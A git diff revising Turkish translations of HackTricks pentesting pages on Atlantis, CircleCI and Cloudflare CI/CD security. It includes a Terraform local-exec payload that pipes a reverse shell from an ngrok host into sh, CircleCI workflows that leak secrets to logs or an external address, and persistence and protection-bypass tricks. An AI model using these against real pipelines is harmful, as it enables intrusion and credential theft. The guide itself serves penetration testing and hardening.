- Potansiyel [**dal koruma aşmaları**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) kontrol edin.
- **Onaylı**: Eğer bu koruma Atlantis'te ayarlanmışsa, `atlantis apply` komutunu çalıştırmadan önce **başka bir kullanıcının PR'yi onaylaması gerekir**.
-- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kötüye kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
+- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
Kötü niyetli bir Terraform dosyasında **`terraform apply` çalıştırmak** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Önceki teknikten **önerileri takip ederek** bu saldırıyı **gizli bir şekilde** gerçekleştirin.
+Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde** gerçekleştirin.
#### Terraform Param Injection
-`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle bir şey yorumlayarak:
+`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle yorum yaparak:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Bir şey geçirebileceğiniz env değişkenleri, bazı korumaları aşmak için faydalı olabilir. Terraform env değişkenlerini [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) adresinde kontrol edin.
+Geçirebileceğiniz şeylerden biri, bazı korumaları aşmak için faydalı olabilecek env değişkenleridir. Terraform env değişkenlerini kontrol edin [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Özel İş Akışı
-`atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\
+Bir `atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\
Bu olasılık daha önceki bir bölümde belirtilmiştir:
> [!CAUTION]
-> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlandıysa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın **`workflow`**'u da belirtmesi gerekebilir.
+> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın da **`workflow`**'u belirtmesi gerekebilir.
>
> Bu, **o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
>
@@ -274,7 +274,7 @@ Bu olasılık daha önceki bir bölümde belirtilmiştir:
#### Plan/uygulama korumalarını aşma
-Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repanın **plan/uygulama korumalarını değiştirmesi ve bunları aşması** mümkündür.
+Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repo **plan/uygulama korumalarını değiştirmek için** **bypass** edebilir.
```yaml
repos:
- id: /.*/
@@ -282,24 +282,24 @@ apply_requirements: []
```
#### PR Hijacking
-Eğer birisi **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olacaktır.
+Eğer biri **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olur.
-Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nin **yeniden değerlendirilmesini** istemiyorsanız, birisi terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir.
+Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nın **yeniden değerlendirilmesini** istemiyorsanız, biri terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir.
-Bu, Github branch koruma ayarındaki **ayar**dır:
+Bu, Github branch protections'daki **ayar**dır:
.png>)
#### Webhook Secret
-Eğer kullanılan **webhook secret'ı çalmayı** başarırsanız veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz.
+Eğer kullanılan **webhook secret'ını çalmayı başarırsanız** veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz.
#### Bitbucket
Bitbucket Cloud **webhook secret'larını desteklememektedir**. Bu, saldırganların **Bitbucket'tan gelen istekleri taklit etmesine** olanak tanıyabilir. Sadece Bitbucket IP'lerine izin verdiğinizden emin olun.
- Bu, bir **saldırganın** **Atlantis'e** Bitbucket'tan geliyormuş gibi görünen **sahte istekler yapabileceği** anlamına gelir.
-- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposuna ait sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar kendi reposunuzda plan/apply yapmak olacaktır.
+- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposlarla ilgili sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar, kendi reposunuzda plan/apply yapmak olacaktır.
- Bunu önlemek için [Bitbucket'ın IP adreslerini](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) beyaz listeye alın (Çıkış IPv4 adreslerine bakın).
### Post-Exploitation
@@ -325,28 +325,28 @@ Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bak
#### `--repo-allowlist`
-Atlantis, `--repo-allowlist` bayrağı aracılığıyla kabul edeceği reposların bir beyaz listesini belirtmenizi gerektirir. Örneğin:
+Atlantis, `--repo-allowlist` bayrağı aracılığıyla webhooks kabul edeceği repoların bir beyaz listesini belirtmenizi gerektirir. Örneğin:
-- Belirli reposlar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Belirli repolar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Tüm organizasyonunuz: `--repo-allowlist=github.com/runatlantis/*`
- GitHub Enterprise kurulumunuzdaki her repo: `--repo-allowlist=github.yourcompany.com/*`
-- Tüm reposlar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda faydalıdır ama bir webhook secret ayarlamadan tehlikelidir.
+- Tüm repolar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda yararlıdır ama bir webhook secret'ı ayarlamadan tehlikelidir.
-Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz reposlarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın.
+Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz repolarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın.
#### Protect Terraform Planning
-Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizdeyse, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek `terraform plan` içinde kötü niyetli kod çalıştırmak mümkündür. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir.
+Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizde varsa, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. Kötü niyetli bir kodu `terraform plan` içinde çalıştırmak mümkündür, [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir.
Bunu önlemek için şunları yapabilirsiniz:
-1. Sağlayıcıları Atlantis imajına veya sunucusuna gömün ve üretimde çıkışı reddedin.
+1. Sağlayıcıları Atlantis imajına yerleştirin veya barındırın ve üretimde çıkışı reddedin.
2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz.
-3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile karşılaştıracak şekilde değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'de "beğeni" gerektirmek gibi. Conftest burada faydalı olabilir.
+3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile doğrulamak için değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'da "beğeni" gerektirmek. Conftest burada faydalı olabilir.
#### Webhook Secrets
-Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder.
+Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret'ı olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder.
Eğer Azure DevOps kullanıyorsanız, webhook secret'ları yerine temel bir kullanıcı adı ve şifre ekleyin.
@@ -356,11 +356,11 @@ Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı gön
#### SSL/HTTPS
-Eğer webhook secret'ları kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin.
+Eğer webhook secret'larını kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin.
#### Enable Authentication on Atlantis Web Server
-Web hizmetinde kimlik doğrulamanın etkinleştirilmesi şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın.
+Web hizmetinde kimlik doğrulamayı etkinleştirmek şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın.
Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` ve `ATLANTIS_WEB_PASSWORD=yourPassword`.
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 9e41b040d..d9547b56a 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -9,17 +9,17 @@
### İzinler
**CircleCI**, giriş yapan **hesap** ile ilgili github ve bitbucket'tan **izinleri devralır**.\
-Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** kontrol ettim (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...).
+Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...) kontrol ettim.
Ancak, **repo'yu CircleCI projesine dönüştürmek** için bir **repo yöneticisi** olmanız gerekir.
-### Env Değişkenleri & Gizli Anahtarlar
+### Env Değişkenleri ve Gizli Anahtarlar
-[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **çevresel değişkenlere değer yüklemenin** farklı yolları vardır.
+[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **ortam değişkenlerine değer yüklemenin** farklı yolları vardır.
#### Yerleşik env değişkenleri
-CircleCI tarafından çalıştırılan her konteyner, [**belgelere tanımlanan belirli env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`.
+CircleCI tarafından çalıştırılan her konteyner, her zaman [**belgelere tanımlanmış özel env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`.
#### Düz metin
@@ -39,7 +39,7 @@ command: echo $SECRET
environment:
SECRET: A secret
```
-**build-job ortamı** içinde açık metin olarak tanımlayabilirsiniz:
+**build-job ortamı** içinde açık metin olarak bildirebilirsiniz:
```yaml
jobs:
build-job:
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
-**Bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz:
+**bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz:
```yaml
jobs:
build-job:
@@ -59,7 +59,7 @@ SECRET: A secret
```
#### Proje Gizli Bilgileri
-Bunlar, yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\
+Bunlar yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\
Onları _https://app.circleci.com/settings/project/github/\/\/environment-variables_ adresinde **tanımlanmış** olarak görebilirsiniz.
.png>)
@@ -69,33 +69,33 @@ Onları _https://app.circleci.com/settings/project/github/\/\)
> [!TIP]
> Ancak, farklı bir grup (Tüm üyeler yerine) **belirli kişilere gizli bilgilere erişim vermek için seçilebilir**.\
-> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine sadece bazı kişilerin erişmesine izin verir.
+> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine yalnızca bazı kişilerin erişmesine izin vermek.
### Saldırılar
#### Açık Metin Gizli Bilgilerini Arama
-Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** **arama** yapın.
+Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** için **arama** yapın.
#### Gizli Çevre Değişkenleri ve Bağlam Sıralaması
Kodu kontrol ederek, her `.circleci/config.yml` dosyasında **kullanılan tüm gizli bilgi adlarını** bulabilirsiniz. Ayrıca, bu dosyalardan **bağlam adlarını** alabilir veya bunları web konsolunda kontrol edebilirsiniz: _https://app.circleci.com/settings/organization/github/\/contexts_.
-#### Proje gizli bilgilerini dışarıya aktarma
+#### Proje gizli bilgilerini dışarı aktarma
> [!WARNING]
-> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarıya aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_).
+> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarı aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_).
> [!CAUTION]
-> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarıya aktarabilir**.
+> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarı aktarabilir**.
-Tüm proje gizli bilgileri her zaman işlerin çevresinde ayarlanır, bu nedenle sadece çevreyi çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarıya aktaracaktır:
+Tüm proje gizli bilgileri her zaman işlerin ortamında ayarlanır, bu nedenle sadece ortamı çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarı aktaracaktır:
```yaml
version: 2.1
@@ -114,7 +114,7 @@ exfil-env-workflow:
jobs:
- exfil-env
```
-Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı** oluşturabilirsiniz:
+Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı oluşturabilirsiniz**:
```yaml
version: 2.1
@@ -143,7 +143,7 @@ jobs:
```
#### Bağlam Gizli Bilgilerini Sızdırma
-**bağlam adını belirtmeniz gerekir** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır):
+**bağlam adını belirtmeniz gerekiyor** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır):
```yaml
version: 2.1
@@ -192,12 +192,12 @@ jobs:
context: Test-Context
```
> [!WARNING]
-> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**.
+> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **bir circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**.
#### Buluta Kaçış
-**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneği sunar.\
-Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz.
+**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneğini sunar.\
+Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, eğer bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz.
Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca **bir VM makinesi başlatmasını isteyebilirsiniz** (farklı bulut izinlerine sahip olabilir):
```yaml
@@ -208,7 +208,7 @@ exfil-env:
machine:
image: ubuntu-2004:current
```
-Veya uzaktan bir docker hizmetine erişimi olan bir docker konteyneri:
+Ya da uzaktan bir docker hizmetine erişimi olan bir docker konteyneri:
```yaml
jobs:
exfil-env:
@@ -221,15 +221,15 @@ version: 19.03.13
```
#### Süreklilik
-- CircleCI'de **kullanıcı tokenleri oluşturmak** mümkündür, böylece kullanıcı erişimi ile API uç noktalarına erişim sağlanabilir.
+- CircleCI'de **kullanıcı tokenleri oluşturmak** API uç noktalarına kullanıcı erişimi ile erişmek için mümkündür.
- _https://app.circleci.com/settings/user/tokens_
-- **Proje tokenleri oluşturmak** mümkündür, böylece token'e verilen izinlerle projeye erişim sağlanabilir.
+- **Proje tokenleri oluşturmak**, token'e verilen izinlerle projeye erişmek için mümkündür.
- _https://app.circleci.com/settings/project/github/\/\/api_
- Projelere **SSH anahtarları eklemek** mümkündür.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
- Her gün tüm **context env** değişkenlerini **sızdıran** beklenmedik bir projede **gizli dalda bir cron işi oluşturmak** mümkündür.
- Ya da her gün tüm context ve **projelerin gizli bilgilerini** **sızdıran** bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür.
-- Eğer bir github sahibiyseniz, **doğrulanmamış orb'lere** izin verebilir ve bir işi **arka kapı** olarak yapılandırabilirsiniz.
+- Eğer bir github sahibiyseniz, **doğrulanmamış orb'leri** **izin verebilir** ve bir işi **arka kapı** olarak yapılandırabilirsiniz.
- Bazı görevlerde bir **komut enjeksiyonu açığı** bulabilir ve bir **gizli** değerini değiştirerek **komutlar enjekte** edebilirsiniz.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 87afcc5c6..61f5a2e24 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -16,7 +16,7 @@ cloudflare-domains.md
### Alan Adı Kaydı
-- [ ] **`Alan Adlarını Aktar`** kısmında herhangi bir alan adının aktarımının mümkün olmadığını kontrol edin.
+- [ ] **`Alan Adlarını Transfer Et`** kısmında herhangi bir alan adının transfer edilemeyeceğinden emin olun.
Her birini gözden geçirin:
@@ -34,11 +34,11 @@ Her Cloudflare sayfasında:
- [ ] **`Build log`** kısmında **hassas bilgileri** kontrol edin.
- [ ] Sayfalara atanan **Github deposunda** **hassas bilgileri** kontrol edin.
-- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfası**](../github-security/)na bakın.
+- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfasına**](../github-security/) bakın.
- [ ] `/fuctions` dizininde **zayıf fonksiyonları** kontrol edin (varsa), `_redirects` dosyasındaki **yönlendirmeleri** kontrol edin (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış başlıkları** kontrol edin (varsa).
-- [ ] **Kod erişiminiz varsa** **blackbox** veya **whitebox** ile **web sayfasındaki** **zayıflıkları** kontrol edin.
-- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Çevre değişkenleri`** kısmında **hassas bilgileri** kontrol edin.
-- [ ] Detay sayfasında ayrıca **build komutunu** ve **kök dizini** kontrol edin, sayfayı tehlikeye atabilecek **potansiyel enjeksiyonlar** için.
+- [ ] **Kod erişiminiz varsa** **web sayfasında** **zayıflıkları** kontrol edin **blackbox** veya **whitebox** ile.
+- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Environment variables`** kısmında **hassas bilgileri** kontrol edin.
+- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi **potansiyel enjeksiyonlar** için kontrol edin.
## **Workers**
@@ -46,19 +46,19 @@ Her Cloudflare işçisinde kontrol edin:
- [ ] Tetikleyiciler: İşçiyi tetikleyen nedir? Bir **kullanıcı veri gönderebilir mi** ve bu veri işçi tarafından **kullanılabilir mi**?
- [ ] **`Ayarlar`** kısmında, **hassas bilgileri** içeren **`Değişkenleri`** kontrol edin.
-- [ ] **İşçi kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde).
+- [ ] **İşçinin kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde).
- Kontrol edebileceğiniz belirtilen sayfayı döndüren SSRF'leri kontrol edin.
- Bir svg resminin içinde JS çalıştıran XSS'leri kontrol edin.
-- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi ile elde edilen bilgileri depolayan bir R2 kovası ile etkileşimde bulunabilir. Bu durumda, işçinin R2 kovası üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir.
+- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi olarak elde edilen bilgileri depolayan bir R2 bucket ile etkileşimde bulunabilir. Bu durumda, işçinin R2 bucket üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir.
> [!WARNING]
> Varsayılan olarak bir **İşçiye** `..workers.dev` gibi bir URL verilir. Kullanıcı bunu bir **alt alan adı** olarak ayarlayabilir, ancak eğer biliyorsanız her zaman bu **orijinal URL** ile erişebilirsiniz.
## R2
-Her R2 kovasında kontrol edin:
+Her R2 bucket'ta kontrol edin:
-- [ ] **CORS Politikasını** yapılandırın.
+- [ ] **CORS Politikası** yapılandırın.
## Akış
@@ -70,8 +70,8 @@ TODO
## Güvenlik Merkezi
-- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** çalıştırın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**.
-- [ ] Sadece **güvenlik yanlış yapılandırmaları** ve ilginç bilgiler için bu bilgileri **kontrol edin**.
+- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** yapın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**.
+- [ ] Güvenlik yanlış yapılandırmaları ve ilginç bilgiler için sadece **bu bilgiyi** kontrol edin.
## Turnstile
@@ -88,8 +88,8 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> [Dinamik Yönlendirmeler](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) ile karşılaştırıldığında, [**Toplu Yönlendirmeler**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) esasen statiktir — **herhangi bir dize değiştirme** işlemini veya düzenli ifadeleri desteklemez. Ancak, URL eşleşme davranışlarını ve çalışma zamanı davranışlarını etkileyen URL yönlendirme parametrelerini yapılandırabilirsiniz.
-- [ ] **İfadelerin** ve **yönlendirmeler için gereksinimlerin** **mantıklı** olduğunu kontrol edin.
-- [ ] Ayrıca, ilginç bilgiler içeren **hassas gizli uç noktaları** kontrol edin.
+- [ ] **Yönlendirmeler için** **ifadelerin** ve **gereksinimlerin** **mantıklı** olduğundan emin olun.
+- [ ] Ayrıca **ilginç bilgiler** içeren **hassas gizli uç noktaları** kontrol edin.
## Bildirimler
@@ -104,13 +104,13 @@ cloudflare-zero-trust-network.md
- `Erişim mTLS Sertifika Süresi Dolma Uyarısı`
- `SaaS Özel Alan Adları için SSL Uyarısı`
- `Evrensel SSL Uyarısı`
-- `Script Monitor Yeni Kod Değişikliği Tespit Uyarısı`
-- `Script Monitor Yeni Alan Adı Uyarısı`
-- `Script Monitor Yeni Kötü Amaçlı Alan Adı Uyarısı`
-- `Script Monitor Yeni Kötü Amaçlı Script Uyarısı`
-- `Script Monitor Yeni Kötü Amaçlı URL Uyarısı`
-- `Script Monitor Yeni Scriptler Uyarısı`
-- `Script Monitor Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı`
+- `Script İzleyici Yeni Kod Değişikliği Tespit Uyarısı`
+- `Script İzleyici Yeni Alan Adı Uyarısı`
+- `Script İzleyici Yeni Kötü Amaçlı Alan Adı Uyarısı`
+- `Script İzleyici Yeni Kötü Amaçlı Script Uyarısı`
